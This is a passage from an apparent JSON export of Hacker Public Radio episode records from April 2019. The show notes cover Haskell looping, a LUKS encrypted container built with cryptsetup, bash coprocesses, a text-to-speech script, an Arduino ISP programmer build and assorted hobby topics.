                                                            which used to contain a list of all shows contributed by that host, with the show notes, has been made more compact. It now displays only the title, release date, duration, series (if applicable), tags and the show summary. Clicking on the title takes you to the show itself. Note that the host id number NNNN must be 4 digits with leading zeroes.

                                                            \n

                                                            The list of all hosts in alphabetic order can be seen at https://hackerpublicradio.org/correspondents/index.html (navigate with the top menu bar: HomeAboutHosts). From there clicking on the host number takes you to the page for that host. There’s also a link to the host page from the page for each show.

                                                            \n

                                                            Community News Calendar

                                                            \n

                                                            An iCal calendar has been prepared which holds the next 12 recording dates for the Community News. This calendar can be downloaded and opened by suitable clients such as the Thunderbird mail client or Google Calendar. The file is linked from https://hackerpublicradio.org/about.php and may be downloaded from https://www.hackerpublicradio.org/HPR_Community_News_schedule.ics.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month: Ken Fallon, NYbill, windigo

                                                            \n

                                                            Over the period tags and/or summaries have been added to 32 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n","hostid":159,"series":83,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2782,"date":"2019-04-02","title":"Never stop gaming","duration":1277,"summary":"Ways to feed the gaming impulse, even when you can't game","notes":"

                                                            \nShownotes are on mixedsignals.ml\n

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"rpg,dm,gm,game master,dungeon master,dnd","version":0,"downloads":0,"valid":1}, {"id":2783,"date":"2019-04-03","title":"The Windows \"Shutdown.exe\" Command Explained","duration":923,"summary":"A rundown of the Windows \"shutdown.exe\" command.","notes":"

                                                            Shutdown.exe

                                                            \n
                                                              \n
                                                            • Introduced in Windows 2000 as a way to shutdown the PC via the command prompt.
                                                            • \n
                                                            • Included in all versions since Windows 2000 all the way to Windows 10 and Windows Server 2019.
                                                            • \n
                                                            • ReactOS, the open source binary-compatible clone of Windows, also includes the shutdown.exe command and the commands are the same.
                                                            • \n
                                                            • Located in %windir%\\System32. The variable %windir% is usually c:\\windows. In ReactOS, the variable is usually c:\\reactos (failed to mention this in the recording).\n
                                                            • \n
                                                            \n

                                                            Links:

                                                            \n\n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"shutdown, windows, commandprompt, cmd","version":0,"downloads":0,"valid":1}, {"id":2784,"date":"2019-04-04","title":"The Yamaha Disklavier","duration":1440,"summary":"I talk about the Yamaha Disklavier DKC500RW that's in my office at work","notes":"

                                                            In this episode I talk about the Yamaha Disklavier DKC500RW that's in my office at work. This is a very high-tech player piano and one of the coolest pieces of music gear I've ever seen.

                                                            \n\n

                                                            Photo Album (click image)

                                                            \n\n

                                                            \"Yamaha

                                                            \n\n

                                                            Links

                                                            \n\n
                                                              \n
                                                            • Website showing how to determine which model disklavier you have: Yamahaden
                                                            • \n
                                                            • DisklavierTM World: This is a privately operated, Public Service (non-profit) webpage. 10,781 piano-music files in 'FIL' (e-SEQ) & MIDI format & Software for the Yamaha Disklavier. PUBLIC-DOMAIN / 'Live' MIDI-Performances / FREE Sequences
                                                            • \n
                                                            • Video: Jonathan Kulp, Three Easy Pieces for Piano Four-Hands: Video of premiere performance
                                                            • \n
                                                            • Video: Disklavier in action
                                                            • \n
                                                            ","hostid":238,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Music, Piano, Keyboard, Musical Instruments, Player Pianos, Recording Devices","version":0,"downloads":0,"valid":1}, {"id":2785,"date":"2019-04-05","title":"What is uCPE","duration":399,"summary":"A short talk on telco networking standards","notes":"","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Network Function Virtualization,NFV,Universal customer premises equipment,uCPE","version":0,"downloads":0,"valid":1}, {"id":2786,"date":"2019-04-08","title":"My YouTube Channels","duration":423,"summary":"A short show about some of my YouTube channels inspired by Ahuka","notes":"

                                                            Hallo HPR listeners this is Tony Hughes again coming from Blackpool in the UK.

                                                            \n

                                                            Recently Ahuka started a series on the YouTube channels that he subscribes to and this seems like a good topic to share some of my favourite YouTube channels. This time I’ll share some of the tech and Linux based channels I watch.

                                                            \n\n

                                                            And finally for this episode

                                                            \n
                                                              \n
                                                            • Linus Tech Tips – Another Computer review show all about tips and tricks relating to all stuff geeky. Be aware that this show is heavily sponsored although Linus does seem to be very fair with both praise and criticism for what he is reviewing. https://www.youtube.com/user/LinusTechTips/videos
                                                            • \n
                                                            \n","hostid":338,"series":106,"explicit":0,"license":"CC-BY-SA","tags":"Linux, Computers, YouTube, Gaming, Electronics, Audacity","version":0,"downloads":0,"valid":1}, {"id":2787,"date":"2019-04-09","title":"NodeJS Part 1","duration":613,"summary":"I don't know Javascript do ?","notes":"

                                                            Links

                                                            \n\n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"NodeJS,puppeteer,programming,Javascript","version":0,"downloads":0,"valid":1}, {"id":2788,"date":"2019-04-10","title":"Looping in Haskell","duration":2848,"summary":"Tuula describes some loop-like constructs in Haskell","notes":"

                                                            Haskell is functional language where data is immutable. This means that regular for-loops don’t really exist. Looping however is very common pattern in programs in general. Here are some patterns how to do that in Haskell.

                                                            \n

                                                            Recursion

                                                            \n

                                                            Calculating Fibonacci numbers is common example (sort of like hello world in Haskell). There’s many different implementations at https://wiki.haskell.org/The_Fibonacci_sequence if you’re interested on having a look.

                                                            \n

                                                            Simple recursive definition:

                                                            \n
                                                            fibs :: Integer -> Integer\nfibs 0 = 0\nfibs 1 = 1\nfibs n = fibs (n-1) + fibs (n-2)
                                                            \n

                                                            When called with 0 result is 0. When called with 1 result is 1. For all other cases, fibs is called with values n-1 and n-1 and the results are summed together. This works fine when n is small, but calculation gets slow really quickly with bigger values.

                                                            \n

                                                            Another way is to define list of all Fibonacci numbers recursively:

                                                            \n
                                                            allFibs :: [Integer]\nallFibs = 0 : 1 : zipWith (+) allFibs (tail allFibs)
                                                            \n

                                                            Here a list is constructed. First element is 0, second element is 1 and rest of the list is obtained by summing the list with its tail (everything but the first element of the list). Definition is recursive and defines all Fibonacci numbers. However, Haskell doesn’t evaluate whole list, but only as much of it as is required.

                                                            \n

                                                            Common pattern of processing elements in a list, producing a new list:

                                                            \n
                                                            addOne :: [Integer] -> [Integer]\naddOne [] = []\naddOne (x:xs) = x + 1 : addOne xs
                                                            \n

                                                            Two cases, when called with an empty list [], result is empty list. For all other cases, list is taken apart (x:xs), x contains first element of the list and xs is rest of the list. Body of the function creates a new list where head is x + 1 and tail is addOne xs. This processes whole list of Integer by adding one to each value. It also reverses the list.

                                                            \n

                                                            Second common pattern is processing a list and reducing it to a single value:

                                                            \n
                                                            sumAll :: Integer -> [Integer] -> Integer\nsumAll n [] = n\nsumAll n (x:xs) = sumAll (n + x) xs
                                                            \n

                                                            If given list is empty (the terminal case), result is n. Second case again takes list apart (x:xs), adds x and n together and recursive call sumAll with tail of the list.

                                                            \n

                                                            This common pattern is discarding some elements of a list:

                                                            \n
                                                            evenOnly :: [Integer] -> [Integer]\nevenOnly [] = []\nevenOnly (x:xs) = \n    if even x\n        then x : evenOnly xs\n        else evenOnly xs
                                                            \n

                                                            Again, result of empty list is just empty list. In all other cases we first check if x is even. If so, new list is constructed where head is x and tail is evenOnly xs. If x isn’t even, it’s discarded and evenOnly is called recursively with tail of the list.

                                                            \n

                                                            More tools

                                                            \n

                                                            Writing recursion by hand gets tedious and sometimes confusing (if you listened to the show, you probably noticed how I got confused and had to check that evenOnly actually works as I thought it would). For that reason, there are tools that abstract these common patterns and given them names.

                                                            \n

                                                            First is map. It applies given function to each element of a list, thus producing a new list:

                                                            \n
                                                            > map (+1) [1..10]\n[2, 3, 4, 5, 6, 7, 8, 9, 10, 11]\n> map odd [1..10]\n[True, False, True, False, True, False, True, False, True, False]
                                                            \n

                                                            Second is fold. There is good article at https://wiki.haskell.org/Foldr_Foldl_Foldl%27 that talks about differences between different folds.

                                                            \n

                                                            The basic idea behind each fold is the same, they take a function and initial value and then apply them to first element of list, producing a value. This value is then applied with the function to the second element of the list and so on, until whole list has been reduced to a single value. Calculating a sum of list is so common operation that there’s specific function for that: sum.

                                                            \n
                                                            > foldr (+) 0 [1..10]\n55\n> foldl (+) 0 [1..10]\n55\n> sum [1..10]\n55
                                                            \n

                                                            scan is similar to fold, except for returning only the final value, it also returns intermediate ones. Here it’s easier to observe how scanr and scanl differ from each other:

                                                            \n
                                                            > scanr (+) 0 [1..10]\n[55,54,52,49,45,40,34,27,19,10,0]\n> scanl (+) 0 [1..10]\n[0,1,3,6,10,15,21,28,36,45,55]
                                                            \n

                                                            Last of the trifecta is filter that is used to select some of the elements in a list based on a supplied function.

                                                            \n
                                                            > filter odd [1..10]\n[1, 3, 5, 7, 9]\n> filter even [1..]\n[2, 4, 6, 8, 10, 12, 14, 16...]\n> take 5 $ filter even [1..] \n[2, 4, 6, 8, 10]
                                                            \n

                                                            Even more tools

                                                            \n

                                                            There are even more tools at our disposal. Prelude is basic library of Haskell and browsing online documentation at https://hackage.haskell.org/package/base-4.12.0.0/docs/Prelude.html might yield interesting information.

                                                            \n

                                                            For example, constructing some lists:

                                                            \n
                                                              \n
                                                            • iterate :: (a -> a) -> a -> [a] For list where function is applied repeatedly.
                                                            • \n
                                                            • repeat :: a -> [a] for a list that contains infinite amount of a.
                                                            • \n
                                                            • replicate :: Int -> a -> [a] For a list that contains finite amount of a.
                                                            • \n
                                                            • cycle :: [a] -> [a] For a infinite list that repeats same list over and over again.
                                                            • \n
                                                            \n

                                                            Finding tools

                                                            \n

                                                            It’s all about knowing the right tools and finding them when needed. Luckily, you don’t have to memorize big stack of notes, but can turn to https://hoogle.haskell.org/ which is Haskell API search engine. It can search based on name or type signature. I often use it to find out if somebody has already written a function that I’m thinking of writing myself.

                                                            \n

                                                            If you want to send questions or comments, I can be reached with email or at fediverse where I’m Tuula@mastodon.social. This episode is direct result of feedback that I got from previous one. If there’s Haskell topic you would love to hear more, drop me line or even better, research it by yourself and make a cool Hacker Public Radio episode.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, programming","version":0,"downloads":0,"valid":1}, {"id":2789,"date":"2019-04-11","title":"Pacing In Storytelling","duration":998,"summary":"Lostnbronx takes a stab at explaining why the pace of your story matters.","notes":"

                                                            Some stories, that are otherwise cookie-cutter in form, possessing familiar situations and clichéd characters, seem to nonetheless stand out. Other tales that might have great ideas, intriguing plots, and vivid characters, seem to hit the ground with a thud. The determining value here may lie with the pacing of the story.

                                                            \n

                                                            How does pacing (that is, timing) affect your story? Why does it matter? Can you make improvements in the pace by moving things around? What’s the best approach for creating it to begin with?

                                                            \n

                                                            Lostnbronx meanders for a while, often losing his way, and rarely making a coherent point regarding this complicated topic.

                                                            ","hostid":107,"series":105,"explicit":0,"license":"CC-0","tags":"stories, storytelling, pacing, lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2790,"date":"2019-04-12","title":"My YouTube Subscriptions #5","duration":1206,"summary":"Part five of my list of subscribed channels","notes":"

                                                            I am subscribed to a number of YouTube channels, and I am sharing them with you

                                                            \n\n","hostid":198,"series":106,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Subscriptions","version":0,"downloads":0,"valid":1}, {"id":2791,"date":"2019-04-15","title":"LUKS like truecrypt","duration":1523,"summary":"Klaatu demonstrates how to use LVM and cryptsetup to create and use portable encrypted filesystems","notes":"

                                                            \nCreate an empty file of a predetermined size:\n

                                                            \n\n
                                                            $ fallocate --length 512M foo.img\n
                                                            \n

                                                            Create a LUKS container on it:

                                                            \n
                                                            $ cryptsetup --verify-passphrase luksFormat foo.img\n
                                                            \n

                                                            Set it up:

                                                            \n
                                                            $ sudo cryptsetup luksOpen foo.img foo\n$ ls /dev/mapper\nfoo\n$\n
                                                            \n

                                                            Make a file system on it:

                                                            \n
                                                            $ sudo mkfs.ext2 /dev/mapper/foo\n
                                                            \n

                                                            If you don't need it for anything now, you can close it:\n

                                                            \n
                                                            $ sudo cryptsetup luksClose foo\n$ ls /dev/mapper\n$\n
                                                            \n

                                                            Mount it as a usable filesystem:

                                                            \n
                                                            $ sudo mkdir /crypt\n$ sudo mount /dev/mapper/foo /crypt\n
                                                            \n

                                                            \nDepending on your system configuration, you may need to set up reasonable permissions:\n

                                                            \n
                                                            $ sudo mkdir /crypt/mystuff\n$ sudo chown klaatu:users /crypt/mystuff\n$ sudo chmod 770 /crypt/mystuff\n$ echo \"hello world\" >> /crypt/mystuff/file.txt\n
                                                            \n

                                                            \nWhen you're finished using your encrypted vault, unmount and close it:\n

                                                            \n
                                                            $ sudo umount /crypt\n$ sudo cryptsetup luksClose foo\n
                                                            \n\n","hostid":78,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"encryption","version":0,"downloads":0,"valid":1}, {"id":2792,"date":"2019-04-16","title":"Playing around with text to speech synthesis on Linux","duration":1203,"summary":"Playing around with different text to speech programs to see what is possible.","notes":"

                                                            Below the script I used to generate a bunch of wav files with different text to speech applications.

                                                            \n
                                                            #!/bin/bash\n\nstring="This is HPR episode 2792 entitled \\"Playing around with text to speech synthesis on Linux\\" and is part of the series \\"Sound Scapes\\". It is hosted by Yeroon Bahten and is about 20 minutes long and carries a clean flag."\necho "${string}" > text.txt\n\nespeak -w espeak.wav "${string}" \nespeak -w espeak-ng-v-mb-us1.wav -v mb-us1 "${string}"\nespeak -w espeak-ng-v-mb-us2.wav -v mb-us2 "${string}"\nespeak -w espeak-ng-v-mb-us3.wav  -v mb-us3 "${string}"\nespeak-ng "${string}"\nespeak-ng -v en-gb "${string}"\nespeak-ng -w espeak-ng-en-gb-scotland.wav -v en-gb-scotland "${string}"\nespeak-ng -w espeak-ng-en-us.wav  -v en-us "${string}"\n\nflite -o flite-voice-cmu_us_slt.wav -voice cmu_us_slt  "${string}"\n\necho "${string}"| festival --language english --tts # same as next line\necho "${string}"| text2wave --language british_english --tts -o festival_british_english.wav\ntext2wave -o festival_british_english.wav  text.txt\n\nfor voice in don_diphone kal_diphone ked_diphone rab_diphone\ndo\n  text2wave -o festival_voice_${voice}.wav -eval "(voice_${voice} )"  text.txt\ndone\n\n# Gnustep say, recorded with audio recorder.\nsay "${string}"\n\ntext2wave -o festival_voice_cmu_us_slt_arctic_hts.wav -eval "(voice_cmu_us_slt_arctic_hts )" text.txt\n\n# merlin https://github.com/CSTR-Edinburgh/merlin\n\n# marytts: https://github.com/marytts
                                                            \n","hostid":369,"series":101,"explicit":0,"license":"CC-BY-SA","tags":"speech synthesis linux","version":0,"downloads":0,"valid":1}, {"id":2793,"date":"2019-04-17","title":"bash coproc: the future (2009) is here","duration":1276,"summary":"clacke discovers bash's coproc keyword and explains some toy examples","notes":"

                                                            If you want the full manuscript, that’s at gitlab: hpr2793_bash_coproc_manuscript.adoc. It’s almost a transcript, but I added spontaneous commentary while reading the examples, so that’s not in the manuscript.

                                                            \n

                                                            Episode errata:

                                                            \n
                                                              \n
                                                            • Command substitution with $() is perfectly valid according to POSIX, and is accepted both by dash and by bash --posix. It’s not to be considered a bashism.

                                                            • \n
                                                            • I fumbled the pronunciation of the printf format string in one place and said "parenthesis" instead of "percentage sign".

                                                            • \n
                                                            • I tried to say "space" every time there’s a space, but I know I forgot it in a few places. But you probably need to look at the show notes to really make sense of the commands anyway.

                                                            • \n
                                                            \n

                                                            Example #1:

                                                            \n\n

                                                            More on command substitution in Dave’s hpr1903: Some further Bash tips.

                                                            \n

                                                            Example #2:

                                                            \n\n

                                                            You can also combine process substitution with redirection.

                                                            \n

                                                            Example #3:

                                                            \n\n

                                                            More on process substitution in Dave’s hpr2045: Some other Bash tips.

                                                            \n

                                                            For a description of a hack for creating bidirectional anonymous pipes in bash, see my Fediverse post on this, and I owe you a show.

                                                            \n

                                                            A coprocess in bash is a subshell to which you have access to two file descriptors: Its stdin and its stdout.

                                                            \n

                                                            The two file descriptors will be put in a bash array. To learn more about arrays, check out Dave’s series within the bash series, a whopping five-part quadrology including hpr2709, hpr2719, hpr2729, hpr2739 and hpr2756.

                                                            \n

                                                            You create a coprocess using the coproc keyword, brand spanking new since bash 4 from 2009. I am filing issues to pygments and GNU src-highlite to support it.

                                                            \n

                                                            There are two ways to call coproc. The first way is to give coproc a simple command.

                                                            \n

                                                            Example #4:

                                                            \n\n

                                                            The other way is to give coproc an explicit name and a Command Grouping.

                                                            \n

                                                            Example #5:

                                                            \n\n

                                                            Slightly less contrived example #6:

                                                            \n
                                                            $ coproc GREP (grep --line-buffered pub); printf '%s\\n' hacker public radio >&${GREP[1]}; cat <&${GREP[0]}\n[1] 25627\npublic\n^C\n$ kill %1\n[1]+  Terminated              coproc GREP ( grep --color=auto --line-buffered pub )
                                                            \n

                                                            Here grep and cat wait forever for more input, so we have to kill them to continue our lesson.

                                                            \n

                                                            But we know that GREP will only return one line, so we can just read that one line. And when we are done feeding it lines, we can close our side of its stdin, and it will notice this and exit gracefully.

                                                            \n

                                                            I’m glad I stumbled over that {YOURVARIABLE}>&- syntax for having a dereferenced variable as the left FD of a redirection. Originally I used an ugly eval.

                                                            \n

                                                            Example #7:

                                                            \n
                                                            $ coproc GREP (grep --line-buffered pub); printf '%s\\n' hacker public radio >&${GREP[1]}; head -n1 <&${GREP[0]}; exec {GREP[1]}>&-\n[1] 25706\npublic\n[1]+  Done                    coproc GREP ( grep --color=auto --line-buffered pub )
                                                            \n

                                                            There we go! Not the most brilliant example, but it shows all the relevant moving parts, and we covered a couple of caveats.

                                                            \n

                                                            Now go out and play with this and come back with an example on how this is actually useful in the real world, and submit a show!

                                                            \n\n","hostid":311,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"bash, coproc, subshell","version":0,"downloads":0,"valid":1}, {"id":2794,"date":"2019-04-18","title":"Interview with Martin Wimpress","duration":2412,"summary":"In this episode, Yannick talks with Martin Wimpress about the Ubuntu MATE project","notes":"

                                                            Ubuntu, MATE.

                                                            \n

                                                            Two words which, taken separately, refer to great products.

                                                            \n

                                                            On one side, Ubuntu, one of the most popular, if not the most popular, linux distribution.

                                                            \n

                                                            On the other side, the MATE desktop environment, also very popular.

                                                            \n

                                                            One person took those two elements and combined them together to make Ubuntu MATE. That person is Martin Wimpress, and he joined me on the 21st of March to talk about the past, present, and future of the project.

                                                            \n","hostid":370,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"ubuntu, mate, ubuntu mate, martin wimpress, raspberry pi, desktop environment, linux","version":0,"downloads":0,"valid":1}, {"id":2795,"date":"2019-04-19","title":"Dead Earth","duration":2210,"summary":"A review of a 20-year old, GNU Free Documentation Licensed, RPG about post-apocalyptic turmoil","notes":"

                                                            \nFull shownotes are on mixedsignals.ml\n

                                                            \n\n

                                                            \nYou can download Klaatu's update revision of the game materials here: https://mixedsignals.ml/download/deadearth-bundle-gfdl.7z\n

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"RPG,Tabletop Game,Dead Earth","version":0,"downloads":0,"valid":1}, {"id":2796,"date":"2019-04-22","title":"IRS,Credit Freezes and Junk Mail Ohh My!","duration":746,"summary":"IRS Credit Freezes and Junk Mail","notes":"

                                                            Links

                                                            \n\n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"IRS,Credit Freeze,Junk Mail,hacking","version":0,"downloads":0,"valid":1}, {"id":2797,"date":"2019-04-23","title":"Writing Web Game in Haskell - Simulation at high level","duration":1547,"summary":"Tuula gives overview of simulation in their 4x game","notes":"

                                                            So far we have been concentrating on separate pieces of the game. Now it’s time to put some of them together as a simulation.

                                                            \n

                                                            Overview of simulation

                                                            \n

                                                            Simulation is done in discrete steps. Each step is roughly 1 earth month (completely arbitrary decision). Shorter than that and there might not be enough happening during turns to keep things interesting. Much longer than that and player might not have enough control on how to react things.

                                                            \n

                                                            In any case, current time is stored in database in table time. There should be only one row in that table at any given time. And that row has only one value, current time. Time is stored as integer as I didn’t want to deal with problems that you get when adding fractions to a float time after time. So current time (March 2019) would be 2019.3 in game terms and stored as 20193 in database.

                                                            \n

                                                            Main processing is done in function called processTurn that is shown below. It advances time for one decimal month, removes all expired statuses as explained in episode 2768 and then loads all factions.

                                                            \n

                                                            After that, various steps of the simulation are carried out for all loaded factions. These include handling special events as explained in episode 2748 and doing observations and report writing in manner described episode 2703.

                                                            \n
                                                            processTurn :: (BaseBackend backend ~ SqlBackend,\n    BackendCompatible SqlBackend backend, PersistUniqueRead backend,\n    PersistQueryWrite backend,\n    PersistQueryRead backend, PersistStoreWrite backend, MonadIO m) =>\n    ReaderT backend m Time\nprocessTurn = do\n    newTime <- advanceTime\n    _ <- removeExpiredStatuses newTime\n    factions <- selectList [] [ Asc FactionId ]\n    _ <- mapM (handleFactionEvents newTime) factions\n    mapM_ handleFactionFood factions\n    mapM_ (handleFactionConstruction newTime) factions\n    _ <- mapM (addSpecialEvents newTime) factions\n    -- Doing observations should always be done last to ensure players have\n    -- recent reports of property they have full control, ie. planets.\n    -- Otherwise it's possible that they'll receive reports that are one\n    -- turn out of sync.\n    mapM_ (handleFactionObservations newTime) factions\n    return newTime
                                                            \n

                                                            More mapping

                                                            \n

                                                            Remember map and fmap that are used to run a function to each element in a list or general structure? mapM works in a similar way, but is used in monadic context. In processTurn function, we’re dealing with input and output and have IO monad present to allow us to do that (MonadIO m part of the type signature).

                                                            \n

                                                            If you step back a bit and squint a bit, then map :: (a -> b) -> [a] -> [b] and fmap :: (a -> b) -> f a -> f b and mapM :: Monad m => (a -> m b) -> t a -> m (t b) look pretty similar. Each take a function, structure and produce a new structure which values were created by running the given function for each element of the original structure.

                                                            \n

                                                            The difference is that map works only for lists, fmap works for functors (that were covered in episode 2778) and mapM works for structures in monadic context.

                                                            \n

                                                            Best way to contact me nowadays is either by email or through fediverse where I’m Tuula@mastodon.social.

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, persistent","version":0,"downloads":0,"valid":1}, {"id":2798,"date":"2019-04-24","title":"Should Podcasters be Pirates ?","duration":725,"summary":"Knightwise waxes nostalgically on the early days of podcasting and wonders if we all sold out?","notes":"

                                                            In a car rant I think back to the early days of podcasting and how the ambience and vision of podcasting was far from the mainstream media approach from today. Have we all sold out ?

                                                            \n","hostid":111,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"podcast,pirate radio,decentralisation","version":0,"downloads":0,"valid":1}, {"id":2799,"date":"2019-04-25","title":"building an arduino programmer","duration":1212,"summary":"turn an arduino nano into a programmer","notes":"
                                                              \n
                                                            1. intro
                                                            2. \n
                                                            \n

                                                            1.1 brian in ohio

                                                            \n

                                                            1.2 out from under my rock

                                                            \n
                                                              \n
                                                            1. motivation
                                                            2. \n
                                                            \n

                                                            2.1 ken fallon bootloader episode

                                                            \n
                                                              \n
                                                            • hpr 2660
                                                            • \n
                                                            • burned many bootloaders
                                                            • \n
                                                            • used usbtiny programmer
                                                            • \n
                                                            • putting together a programmer would be a good learning experience
                                                            • \n
                                                            \n

                                                            2.2 still use arduino

                                                            \n
                                                              \n
                                                            • easy to check out a new piece of hardware
                                                            • \n
                                                            • boards are cheap and easy to find
                                                            • \n
                                                            • boards are robust
                                                            • \n
                                                            \n

                                                            2.3 need to run an arduino board at lower frequency

                                                            \n
                                                              \n
                                                            • developing a data logger
                                                            • \n
                                                            • write code in c using the avr open source tool chain
                                                            • \n
                                                            • prototype on arduino board
                                                            • \n
                                                            \n
                                                              \n
                                                            1. needed supplies
                                                            2. \n
                                                            \n

                                                            3.1 arduino ide

                                                            \n\n

                                                            3.2 avrdude

                                                            \n
                                                              \n
                                                            • use it to test the programmer outside of the arduino environment
                                                            • \n
                                                            • part of the gnu avr toolchain
                                                            • \n
                                                            \n

                                                            3.3 arduino nano clone - un assembled

                                                            \n

                                                            \"hpr2799-bare-nano.jpg\"

                                                            \n
                                                              \n
                                                            • look for the boards that have the unpoplated icsp header
                                                            • \n
                                                            • make sure its a nano and not a pro-mini
                                                            • \n
                                                            \n

                                                            3.4 3 leds 3mm or smaller

                                                            \n

                                                            \"hpr2799-led.jpg\"

                                                            \n
                                                              \n
                                                            • optional but are useful, especially the heartbeat led
                                                            • \n
                                                            \n

                                                            3.5 3 resistors 200 ohm - small

                                                            \n
                                                              \n
                                                            • if you install the led’s
                                                            • \n
                                                            \n

                                                            3.6 1 5-10 uF electrolytic capacitor

                                                            \n

                                                            3.7 3-4 inch long jumper wire

                                                            \n

                                                            3.8 2x3 female header

                                                            \n

                                                            \"hpr2799-2x3header.jpg\"

                                                            \n

                                                            3.9 some way to cut wire

                                                            \n

                                                            3.10 soldering supplies

                                                            \n
                                                              \n
                                                            1. howto
                                                            2. \n
                                                            \n

                                                            4.1 upload arduino isp sketch to nano

                                                            \n

                                                            File→Examples→11.ArduinoISP→ArduinoISP

                                                            \n
                                                              \n
                                                            • i modified the sketch changing where the led’s are placed
                                                            • \n
                                                            • i put the led’s at digital 9, 7, and 5 for spacing

                                                              \n
                                                              #define RESET 10 // Use pin 10 to reset the target rather than SS\n#define LED_HB 9 // No change define LED_ERR 7 // changed define\n#LED_PMODE 5 // changed
                                                            • \n
                                                            • upload the sketch

                                                            • \n
                                                            \n

                                                            4.2 solder on led’s

                                                            \n

                                                            \"hpr2799-led-on-board.jpg\"

                                                            \n
                                                              \n
                                                            • solder the anode leg to the apropriate digital pin on the board
                                                            • \n
                                                            • add a resistor to the cathode leg of the led (usually the shorter leg)
                                                            • \n
                                                            • solder the resistor attached to the cathode to ground pin of the board
                                                            • \n
                                                            • i started with pin 9
                                                            • \n
                                                            • you can test each led before moving on to the next led
                                                            • \n
                                                            • my soldering ended up messy but it gets the job done
                                                            • \n
                                                            \n

                                                            \"hpr2799-leds-done.jpg\"

                                                            \n

                                                            4.3 modify sketch and test leds

                                                            \n
                                                              \n
                                                            • you can modify the sketch
                                                            • \n
                                                            • change the heartbeat pin to whatever led you just soldered
                                                            • \n
                                                            • upload the modified sketch
                                                            • \n
                                                            • the led you just soldered should pulse
                                                            • \n
                                                            \n

                                                            4.4 clip jumper wire and attach

                                                            \n

                                                            \"hpr2799-reset-wire.jpg\"

                                                            \n
                                                              \n
                                                            • pin 10
                                                            • \n
                                                            • used the hole on the end of the board as strain relief
                                                            • \n
                                                            \n

                                                            4.5 add capacitor

                                                            \n
                                                              \n
                                                            • watch polarity
                                                            • \n
                                                            • no more auto reset
                                                            • \n
                                                            • if you want to program with arduino ide, you need to push the reset button
                                                            • \n
                                                            \n

                                                            4.6 2x3 header

                                                            \n
                                                                                     MISO -|o o|-+Vcc\n                          SCK -|o o|-MOSI\n Do not attach-Reset-|o o|-Gnd\n                                     -----
                                                            \n

                                                            \"hpr2799-header-mod.jpg\"

                                                            \n
                                                              \n
                                                            • remove reset connecter south-west connector
                                                            • \n
                                                            • solder the remaining 5 pins
                                                            • \n
                                                            • the header is soldered on the bottom of the board
                                                            • \n
                                                            \n

                                                            \"hpr2799-header-soldered.jpg\"

                                                            \n
                                                              \n
                                                            1. how to use
                                                            2. \n
                                                            \n

                                                            5.1 plug usb cable into programmer and your computer

                                                            \n

                                                            5.2 start the arduino ide

                                                            \n

                                                            5.3 plug programmer onto target board remember to plug the wire into the reset pin of the target

                                                            \n

                                                            5.4 in the tools folder of the ide make sure your usb port is selected

                                                            \n

                                                            Tools→Port"/dev/ttyUSBx"/dev/ttyUSBx

                                                            \n

                                                            5.5 and that in the programmer section you select arduino as isp not arduinoisp

                                                            \n

                                                            Tools→Programmer→Arduino as ISP

                                                            \n

                                                            5.6 at this point you can burn a bootloader as Ken described

                                                            \n

                                                            5.7 upload a program

                                                            \n

                                                            5.7.1 bring up the blink example sketch

                                                            \n

                                                            5.7.2 under tools make sure your target board type is selected

                                                            \n

                                                            Tools→Boards

                                                            \n

                                                            5.7.3 under the sketch menu you’ll see upload using a programmer

                                                            \n

                                                            Sketch→Upload Using Programer

                                                            \n

                                                            5.7.4 when you select that the blink sketch will be compiled and uploaded

                                                            \n
                                                              \n
                                                            1. at the command line
                                                            2. \n
                                                            \n

                                                            6.1 check functionallity

                                                            \n
                                                            bash-4.3$ avrdude -p m328p -c arduino -P /dev/ttyUSB0 -b 19200
                                                            \n

                                                            6.2 output

                                                            \n
                                                              avrdude: AVR device initialized and ready to accept instructions\n\n  Reading | ################################################## | 100%\n  0.01s\n\n  avrdude: Device signature = 0x1e950f (probably m328p)\n\n  avrdude: safemode: Fuses OK (E:FD, H:DE, L:FF)\n\n  avrdude done.  Thank you.
                                                            \n
                                                              \n
                                                            1. things to look out for
                                                            2. \n
                                                            \n

                                                            7.1 permissions issues - arch wiki gentoo

                                                            \n

                                                            7.2 when you upload this way you overwrite bootloader

                                                            \n

                                                            7.3 arduino ide boards.txt has some fuse errors

                                                            \n

                                                            7.4 avrdude version 6.2 will not work

                                                            \n

                                                            7.5 baud rate using avrdude command line

                                                            \n

                                                            7.6 capacitor is non-optional, but makes uploading to that board non-trivial

                                                            \n
                                                              \n
                                                            1. conclusion
                                                            2. \n
                                                            \n

                                                            8.1 upload via icsp vs usb serial

                                                            \n

                                                            8.2 do you need a bootloader?

                                                            \n

                                                            8.3 challenge to max out any 8bit microcontroller

                                                            \n
                                                              \n
                                                            • if you need to do one or two things use a microcontroller i.e. arduino
                                                            • \n
                                                            • if you need to do many things use a linux single board computer i.e. raspberry pi
                                                            • \n
                                                            \n","hostid":326,"series":91,"explicit":0,"license":"CC-BY-SA","tags":"Arduino,ArduinoISP","version":0,"downloads":0,"valid":1}, {"id":2800,"date":"2019-04-26","title":"My YouTube Subscriptions #6","duration":1169,"summary":"Part six of my list of subscribed channels","notes":"

                                                            I am subscribed to a number of YouTube channels, and I am sharing them with you

